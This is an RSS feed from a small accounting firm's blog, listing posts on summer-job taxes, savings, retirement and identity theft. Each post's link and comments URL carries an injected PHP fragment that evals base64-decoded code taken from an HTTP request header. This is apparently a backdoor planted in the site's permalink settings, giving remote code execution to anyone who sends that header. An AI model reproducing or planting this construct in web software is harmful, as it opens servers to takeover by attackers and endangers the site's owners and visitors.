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	<title>First Capital Advisors, LLC &#187; personal finance</title>
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	<link>http://www.fcallc.biz/blog</link>
	<description>Accounting, Bookkeeping, Tax, &#38; Payroll Solutions</description>
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		<title>Students: Make the most of your summer job.</title>
		<link>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/07/16/students-make-the-most-of-your-summer-job/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 03:24:07 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=293</guid>
		<description><![CDATA[This summer, many students will be taking on summer jobs.  However, many are unaware of the tax consequences involved with employment.  Additionally, many students fail to establish a savings goal.  For example: 1. Form W-4, Employee’s Withholding Allowance Certificate must be completed.  Employers use this form in order to withhold taxes from your paycheck.  The [...]]]></description>
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		<title>A New Way to Save</title>
		<link>http://www.fcallc.biz/blog/2011/04/28/a-new-way-to-save-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/04/28/a-new-way-to-save-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 11:27:07 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[Taxes]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=277</guid>
		<description><![CDATA[Many people have already discovered this great new way to save.  What is it you may ask?  Tax time is a great time to save because many people receive refunds.  In 2010 President Obama created the tax time Savings Bond Program.  The program gives tax payers the opportunity to put away part of their refunds [...]]]></description>
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		<title>What are your barriers to saving?</title>
		<link>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/03/01/what-are-your-barriers-to-saving/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 00:00:57 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=266</guid>
		<description><![CDATA[             I came across this great article on Americasaves.org.  Many people have difficulty saving for one reason or another.  In this article, the writer shares some great tips to help and encourage people to save. The topics that she discusses are listed below: Does the Cost of Living Keep You from Saving? Do You Find [...]]]></description>
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		<title>Women need to save more for retirement</title>
		<link>http://www.fcallc.biz/blog/2011/01/31/women-need-to-save-more-for-retirement/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2011/01/31/women-need-to-save-more-for-retirement/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 23:04:16 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[retirement]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=258</guid>
		<description><![CDATA[  I recently came across an article about why women should save more for retirement.  Interesting I thought. So I kept reading. The primary reason that we should save more is because we tend to outlive men.  And the longer we live, the more we need in retirement savings.  This means that it is important [...]]]></description>
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		<title>Action Items for the New Year</title>
		<link>http://www.fcallc.biz/blog/2010/12/20/action-items-for-the-new-year/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/12/20/action-items-for-the-new-year/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 20 Dec 2010 14:28:41 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>
		<category><![CDATA[credit report]]></category>
		<category><![CDATA[debt management]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=255</guid>
		<description><![CDATA[I wrote this blog two years ago as a means of encouraging readers to prepare for the New Year.  Well, two years later, this message is still relevant as the times have not changed much from the prior years. Therefore, this message bears repeating. As 2010 draws to a close, many are hopeful for significant [...]]]></description>
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		<title>National Protect Your Identity Week: October 17-23</title>
		<link>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/10/18/national-protect-your-identity-week-october-17-23/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 18:15:46 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[credit report]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=251</guid>
		<description><![CDATA[The week of October 17th-23rd is designated as National Protect Your identity Week.  This week is geared towards educating the public about identity theft and how to protect yourself and the ones you love.    The website protectyouridnow.org  has several resources that will help you with this endeavor. Other useful tips that you can follow include: [...]]]></description>
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		<title>There is still time to amend your tax return.</title>
		<link>http://www.fcallc.biz/blog/2010/08/29/there-is-still-time-to-amend-your-tax-return/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/08/29/there-is-still-time-to-amend-your-tax-return/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 18:48:14 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>
		<category><![CDATA[tax preparation]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=248</guid>
		<description><![CDATA[During the course of tax season, many people make mistakes when preparing their returns.  Some of the most common involve the filing status, number of dependents, total income and deductions.  Other mistakes such as computational errors are usually corrected by the IRS.  Corrections to your return should be made using Form 1040X, Amended US Individual [...]]]></description>
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		<title>Useful Tips from the IRS to Help Protect Your Identity</title>
		<link>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 14:04:21 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[consumer laws]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Taxes]]></category>
		<category><![CDATA[credit card payment]]></category>
		<category><![CDATA[tax credit]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=246</guid>
		<description><![CDATA[Identity theft is so prevalent these days.  It is too easy to have your social security number stolen.  It has actually happened to me.  Someone stole my identity and filed a tax return using my social security number.  Luckily for me, I caught it early and was able to prevent any major damage to my [...]]]></description>
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		<title>Earn extra dollars with InboxDollars.com</title>
		<link>http://www.fcallc.biz/blog/2010/07/24/earn-extra-dollars-with-inboxdollars-com/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/07/24/earn-extra-dollars-with-inboxdollars-com/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 24 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=243</guid>
		<description><![CDATA[Nowadays you often hear about how bad the economy is.  Unemployment is high and everything costs more.  Many people are looking for alternative means of earning extra money. I recently came across a new website titled Inboxdollars.com.  This site provides individuals with an easy way to earn extra money.  As an additional incentive, there is [...]]]></description>
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		<title>Free Government Resources on Personal Finance</title>
		<link>http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 09:18:45 +0000</pubDate>
		<dc:creator>flore</dc:creator>
				<category><![CDATA[credit cards]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[investing]]></category>
		<category><![CDATA[loans]]></category>
		<category><![CDATA[debt management]]></category>
		<category><![CDATA[personal finance]]></category>
		<category><![CDATA[Savings]]></category>

		<guid isPermaLink="false">http://www.fcallc.biz/blog/?p=225</guid>
		<description><![CDATA[Have you ever wondered what government resources are out there? Well, don’t keep wondering, simply click and take advantage of these great resources. Mymoney.gov-This site provides a wealth of resources for businesses and individuals alike.  Whether you are looking to educate yourself about personal finance or looking for financial management ideas for your business, this [...]]]></description>
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